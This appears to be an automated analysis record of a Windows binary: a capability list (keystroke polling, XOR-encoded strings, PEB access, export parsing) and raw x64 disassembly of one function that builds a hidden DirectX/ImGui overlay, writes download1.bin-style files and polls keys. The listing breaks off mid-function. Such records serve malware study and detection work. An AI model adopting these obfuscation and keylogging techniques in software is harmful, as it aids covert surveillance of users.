Function at 0x14007e160
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Log keystrokes via polling
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xa28]
sub rsp, 0xb00
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rbp + 0x950], rax
xor edi, edi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x14006eaa0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x2b8], rax
mov dword [rbp + 0x300], 0x50
mov dword [rbp + 0x304], 0x40
lea rax, [0x14007da20]
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x310], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x318], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x320], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x330], xmm1
movups xmm0, xmmword [0x1400ffd88]
movups xmmword [rbp + 0x350], xmm0
lea esi, [rdi + 5]
lea r14d, [rdi + 0x1f]
mov r15d, dword [reloc.WS2_32.dll_accept]
pextrw eax, xmm0, 7
test ax, ax
je 0x140076ee7
cmp r15d, 2
jl 0x140076ea5
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x1401004c0]
movq xmm0, qword [0x1400ffd88]
pxor xmm2, xmm0
movq qword [rbp + 0x350], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x1401004c0]
movq xmm0, qword [rbp + 0x358]
pxor xmm2, xmm0
movq qword [rbp + 0x358], xmm2
jmp 0x140076ee7
lea r9, [rbp + 0x350]
mov r8d, edi
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x140076eb0
lea rax, [rbp + 0x350]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], rdi
lea rcx, [rbp + 0x300]
call qword [sym.imp.USER32.dll_RegisterClassExW]
movups xmm0, xmmword [0x1400ffd88]
movups xmmword [rbp + 0x350], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x140077077
cmp r15d, 2
jl 0x140077031
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm8, xmmword [0x1401004c0]
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [0x1400ffd88]
pxor xmm3, xmm0
movq qword [rbp + 0x350], xmm3
movdqa xmm2, xmmword [0x1401004a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x358]
pxor xmm3, xmm0
movq qword [rbp + 0x358], xmm3
jmp 0x140077077
lea r9, [rbp + 0x350]
mov r8d, edi
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x140077040
mov qword [rsp + 0x58], rdi
mov rax, qword [rbp + 0x318]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov r9d, 0x80000000
lea r8, [rbp + 0x350]
mov rdx, qword [rbp + 0x340]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
mov qword [0x140117c70], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rcx, rax
mov qword [0x140117c50], rax
mov r12d, 1
test rax, rax
je 0x14007d81c
mov qword [0x140117bf0], rdi
mov qword [0x140117bfc], rdi
mov dword [0x140117c04], edi
mov qword [0x140117c0c], rdi
mov dword [0x140117c14], edi
mov qword [0x140117c24], rdi
mov dword [0x140117c18], r12d
mov dword [0x140117c08], r12d
mov dword [0x140117bf8], edi
mov dword [0x140117c1c], r12d
mov dword [0x140117c20], 0x50
mov dword [0x140117c2c], r12d
mov rax, qword [rax]
lea rdx, [0x140117c30]
mov qword [rsp + 0x30], rdx
lea rdx, [0x140117bf0]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x40
mov r9, rbx
mov r8d, r12d
xor edx, edx
call qword [rax + 0x80]
test eax, eax
js 0x14007d815
xor edx, edx
mov rcx, qword [0x140117c70]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140117c70]
call qword [sym.imp.USER32.dll_UpdateWindow]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
movups xmm0, xmmword [str.p__EXTmRRYQH]
movups xmmword [rbp + 0x350], xmm0
movzx eax, word [0x1401000e0]
mov word [rbp + 0x360], ax
movzx eax, byte [0x1401000e2]
mov byte [rbp + 0x362], al
mov r8d, edi
cmp r15d, 2
jl 0x14007731f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x354]
mov edx, dword [rbp + 0x2c0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140077210
cmp r8d, 0x13
jge 0x140077363
movsxd rax, r8d
lea r9, [rbp + 0x350]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140077330
xor edx, edx
lea rcx, [rbp + 0x350]
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rax, qword [0x140117be0]
test rax, rax
je 0x14007738f
inc dword [rax + 0x3b0]
mov ecx, 0x40b0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0xc8], rax
lea rcx, [rsp + 0x6c]
mov qword [rbp + 0x208], rcx
mov qword [rbp + 0x200], rax
test rax, rax
je 0x1400773c8
xor edx, edx
mov rcx, rax
call fcn.140013430
mov rcx, rax
jmp 0x1400773cb
mov rcx, rdi
mov rax, qword [0x140117be0]
test rax, rax
cmove rax, rcx
mov qword [0x140117be0], rax
call fcn.14001a0b0
mov rax, qword [0x140117be0]
mov qword [rbp + 0x208], rax
mov qword [rax + 0x20], rdi
or dword [rax + 8], 0x400
movaps xmm7, xmmword [0x140100660]
movaps xmm4, xmmword [0x140100700]
movaps xmm1, xmmword [0x140100720]
movaps xmm3, xmmword [0x140100690]
movaps xmm6, xmmword [0x140100770]
movaps xmm5, xmmword [0x1401007d0]
movaps xmm0, xmmword [0x140100740]
movaps xmm2, xmmword [0x1401006e0]
mov dword [rax + 0x16fc], 0x3f800000
mov dword [rax + 0x1700], 0x3f800000
mov dword [rax + 0x1704], 0x3f800000
mov dword [rax + 0x1708], 0x3f800000
movups xmmword [rax + 0x170c], xmm0
movups xmmword [rax + 0x1a0c], xmm5
movups xmmword [rax + 0x171c], xmm7
movaps xmm0, xmmword [0x140100670]
movups xmmword [rax + 0x172c], xmm0
movups xmmword [rax + 0x173c], xmm7
movups xmmword [rax + 0x174c], xmm2
movups xmmword [rax + 0x175c], xmm2
movups xmmword [rax + 0x176c], xmm3
movups xmmword [rax + 0x177c], xmm6
movups xmmword [rax + 0x178c], xmm5
movups xmmword [rax + 0x179c], xmm7
movups xmmword [rax + 0x17ac], xmm7
movups xmmword [rax + 0x17bc], xmm7
movups xmmword [rax + 0x17cc], xmm3
movups xmmword [rax + 0x17dc], xmm3
movups xmmword [rax + 0x17ec], xmm4
movups xmmword [rax + 0x17fc], xmm1
movups xmmword [rax + 0x180c], xmm1
movups xmmword [rax + 0x181c], xmm5
movups xmmword [rax + 0x182c], xmm6
movups xmmword [rax + 0x183c], xmm5
movups xmmword [rax + 0x184c], xmm3
movups xmmword [rax + 0x185c], xmm6
movups xmmword [rax + 0x186c], xmm6
movups xmmword [rax + 0x187c], xmm3
movups xmmword [rax + 0x188c], xmm6
movups xmmword [rax + 0x189c], xmm5
movups xmmword [rax + 0x18ac], xmm2
movups xmmword [rax + 0x18bc], xmm2
movups xmmword [rax + 0x18cc], xmm2
movups xmmword [rax + 0x18dc], xmm7
movups xmmword [rax + 0x18ec], xmm3
movups xmmword [rax + 0x18fc], xmm4
movups xmmword [rax + 0x197c], xmm5
movups xmmword [rax + 0x198c], xmm6
movups xmmword [rax + 0x199c], xmm5
movups xmmword [rax + 0x19ac], xmm6
movups xmmword [rax + 0x1a1c], xmm7
movups xmmword [rax + 0x1a2c], xmm7
movups xmmword [rax + 0x195c], xmm5
movups xmmword [rax + 0x190c], xmm7
movups xmmword [rax + 0x192c], xmm5
movups xmmword [rax + 0x193c], xmm7
movups xmmword [rax + 0x194c], xmm5
movups xmmword [rax + 0x191c], xmm6
mov dword [rax + 0x1644], edi
mov dword [rax + 0x1660], edi
mov dword [rax + 0x1678], edi
mov dword [rax + 0x16b4], edi
mov dword [rax + 0x1668], edi
mov dword [rax + 0x16ac], edi
mov dword [rax + 0x16bc], edi
call fcn.140047510
mov rcx, qword [0x140117c30]
mov rbx, qword [0x140117be0]
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0xe8], rax
or dword [rbx + 0xc], 0x1008
mov qword [0x140118348], rcx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dword [rbx + 8], 0x400
je 0x140077655
mov rax, qword [0x140117be0]
lea rcx, [fcn.1400471e0]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.1400472b0]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x140047330]
mov qword [rax + 0x1600], rcx
lea rcx, [0x140047390]
mov qword [rax + 0x1608], rcx
lea rcx, [0x1400474e0]
mov qword [rax + 0x1610], rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x4b0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x4b8]
add eax, 0xfffffe3e
movd xmm6, eax
cvtdq2ps xmm6, xmm6
mulss xmm6, dword [0x1401002a4]
movss dword [rbp + 0x140], xmm6
mov eax, dword [rbp + 0x4bc]
add eax, 0xfffffed4
movd xmm7, eax
cvtdq2ps xmm7, xmm7
mulss xmm7, dword [0x1401002a4]
movss dword [rbp + 0x144], xmm7
xor al, al
mov byte [rsp + 0x60], al
xor r13b, r13b
xor r12b, r12b
mov byte [rsp + 0x6c], r12b
mov eax, dword [0x1400ff7f8]
mov dword [rsp + 0x64], eax
movzx eax, byte [0x1400ff7fc]
mov byte [rsp + 0x64], Ordinal_79
xor byte [rsp + 0x65], 0x34
xor byte [rsp + 0x66], 0x35
xor byte [rsp + 0x67], 0x36
xor al, 0x37
mov byte [rsp + 0x68], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x500], xmm1
lea rax, [rsp + 0x64]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140077710
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x4f0]
call fcn.140012c50
nop
lea rcx, [0x140117ff0]
call fcn.1400902e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x498], xmm0
mov qword [rbp + 0x4a8], rax
movups xmmword [rbp + 0x368], xmm0
mov qword [rbp + 0x378], rdi
mov qword [rbp + 0x380], rdi
lea r8d, [rax + 6]
lea rdx, str.789350
lea rcx, [rbp + 0x368]
call fcn.140012c50
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x498]
lea rcx, [0x140117ff0]
call fcn.14008dca0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x480], xmm0
mov qword [rbp + 0x490], rax
movups xmmword [rbp + 0x440], xmm0
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x458], rdi
lea r8d, [rax + 6]
lea rdx, str.532401
lea rcx, [rbp + 0x440]
call fcn.140012c50
lea r8, [rbp + 0x440]
lea rdx, [rbp + 0x480]
lea rcx, [0x140117ff0]
call fcn.14008dca0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x468], xmm0
mov qword [rbp + 0x478], rax
movups xmmword [rbp + 0x368], xmm0
mov qword [rbp + 0x378], rdi
mov qword [rbp + 0x380], rdi
lea r8d, [rax + 6]
lea rdx, str.965706
lea rcx, [rbp + 0x368]
call fcn.140012c50
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x468]
lea rcx, [0x140117ff0]
call fcn.14008dca0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x840]
call fcn.1400e5878
lea r14, [0x140117cd8]
mov rdx, r14
cmp qword [0x140117cf0], 0x10
cmovae rdx, qword [0x140117cd8]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x840]
call fcn.14007e3b0
mov rax, qword [rbp + 0x840]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x840], rbx
mov rax, qword [rbp + 0x840]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x83c], edx
cmp qword [rbp + 0x8c8], 0
je 0x140077914
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
sub r8, rdx
lea rcx, [rbp + 0x840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x848]
call fcn.14005ec50
test rax, rax
jne 0x140077937
mov rax, qword [rbp + 0x840]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x840]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x140077937
lea rdx, str.Failed_to_open_download1.bin_for_writing.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14007f210
lea rdx, [0x14007f3e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x730]
call fcn.1400e5878
lea rsi, [0x140117e38]
mov rdx, rsi
cmp qword [0x140117e50], 0x10
cmovae rdx, qword [0x140117e38]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x730]
call fcn.14007e3b0
mov rax, qword [rbp + 0x730]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x730], rbx
mov rax, qword [rbp + 0x730]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x72c], edx
cmp qword [rbp + 0x7b8], 0
je 0x1400779ff
mov r8, qword [rbp + 0x488]
mov rdx, qword [rbp + 0x480]
sub r8, rdx
lea rcx, [rbp + 0x730]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x738]
call fcn.14005ec50
test rax, rax
jne 0x140077a22
mov rax, qword [rbp + 0x730]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x730]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x140077a22
lea rdx, str.Failed_to_open_download2.bin_for_writing.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14007f210
lea rdx, [0x14007f3e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x620]
call fcn.1400e5878
lea rbx, [0x140117d60]
mov rdx, rbx
cmp qword [0x140117d78], 0x10
cmovae rdx, qword [0x140117d60]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x620]
call fcn.14007e3b0
mov rax, qword [rbp + 0x620]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x620], rax
mov rax, qword [rbp + 0x620]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x61c], edx
cmp qword [rbp + 0x6a8], 0
je 0x140077af1
mov r8, qword [rbp + 0x470]
mov rdx, qword [rbp + 0x468]
sub r8, rdx
lea rcx, [rbp + 0x620]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x628]
call fcn.14005ec50
test rax, rax
jne 0x140077b14
mov rax, qword [rbp + 0x620]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x620]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x140077b14
lea rdx, str.Failed_to_open_download2.bin_for_writing.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14007f210
lea rdx, [0x14007f3e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140117cf0], 0x10
cmovae r14, qword [0x140117cd8]
mov qword [rbp + 0x2f0], rdi
lea r8, [rbp + 0x2f0]
mov rdx, r14
mov rcx, qword [0x140117c30]
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
mov r14, qword [rbp + 0x2f0]
mov qword [rbp + 0xc8], r14
cmp qword [0x140117e50], 0x10
cmovae rsi, qword [0x140117e38]
mov qword [rbp + 0x2e8], rdi
lea r8, [rbp + 0x2e8]
mov rdx, rsi
mov rcx, qword [0x140117c30]
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x200], rax
cmp qword [0x140117d78], 0x10
cmovae rbx, qword [0x140117d60]
mov qword [rbp + 0x2e0], rdi
lea r8, [rbp + 0x2e0]
mov rdx, rbx
mov rcx, qword [0x140117c30]
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
mov rsi, qword [rbp + 0x2e0]
mov qword [rbp + 0x1f8], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c0], xmm0
movups xmmword [rbp + 0x4d0], xmm0
movups xmmword [rbp + 0x4e0], xmm0
xorps xmm11, xmm11
movss xmm15, dword [0x1401003a0]
movss xmm8, dword [0x14010035c]
movss xmm10, dword [0x1401003d8]
movss xmm9, dword [0x14010039c]
movss xmm12, dword [0x140100388]
movss xmm13, dword [0x14010036c]
movss xmm14, dword [0x140100398]
nop
cmp byte [0x140117bdb], 0
jne 0x14007d4a4
mov eax, 1
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140077c7e
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x14007cb48
cmp qword [0x140118338], 0
jne 0x140077c8d
call fcn.140047070
mov rbx, qword [0x140117be0]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
mov rcx, qword [0x140118370]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x2cc]
sub eax, dword [rbp + 0x2c4]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [rbp + 0x2c8]
sub eax, dword [rbp + 0x2c0]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x10], xmm0
movss dword [rbx + 0x14], xmm1
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140077d41
mov rsi, qword [0x140117be0]
mov ecx, dword [rsi + 0x161c]
test ecx, ecx
jns 0x140077d19
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rsi + 0x1618]
call fcn.140034e80
mov dword [rsi + 0x1618], edi
xor r9d, r9d
lea r8, [0x140047f60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov byte [reloc.WS2_32.dll_accept], 0
mov rsi, qword [rbp + 0x1f8]
mov qword [rbp + 0x460], rdi
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x460]
mov rax, rcx
sub rax, qword [0x140118378]
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x140118380]
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov qword [0x140118378], rcx
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13c], al
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13d], al
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13e], al
mov byte [rbx + 0x13f], 0
call fcn.140047a90
cmp byte [rbx + 0xcf], 0
je 0x140077de8
mov eax, 0xffffffff
jmp 0x140077df5
mov rax, qword [0x140117be0]
mov eax, dword [rax + 0x20d0]
cmp dword [reloc.WS2_32.dll_htons], eax
je 0x140077e08
mov dword [reloc.WS2_32.dll_htons], eax
call fcn.140047910
call fcn.140047c90
call fcn.140018d70
lea rdx, [rbp + 0x400]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rbp + 0x400], 0x103
je 0x140077ed5
movsd xmm0, qword [str._QXBR_9]
movsd qword [rbp + 0x38], xmm0
mov ecx, dword [0x140100178]
mov dword [rbp + 0x40], ecx
movzx eax, word [reloc.WS2_32.dll_gethostname]
mov edx, 0x53
mov word [rbp + 0x38], dx
xor word [rbp + 0x3a], 0x34
xor word [rbp + 0x3c], 0x35
xor word [rbp + 0x3e], 0x36
xor cx, 0x37
mov word [rbp + 0x40], cx
xor word [rbp + 0x42], 0x38
xor ax, 0x39
mov word [rbp + 0x44], ax
movsd xmm0, qword [str.vFGYE8]
movsd qword [rbp + 0x28], xmm0
mov eax, dword [0x140100188]
mov dword [rbp + 0x30], eax
cmp word [0x14010018a], 0
je 0x140077ec2
mov eax, 0x45
mov word [rbp + 0x28], ax
xor word [rbp + 0x2a], 0x34
xor word [rbp + 0x2c], 0x35
xor word [rbp + 0x2e], 0x36
xor word [rbp + 0x30], 0x37
xor word [rbp + 0x32], 0x38
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x28]
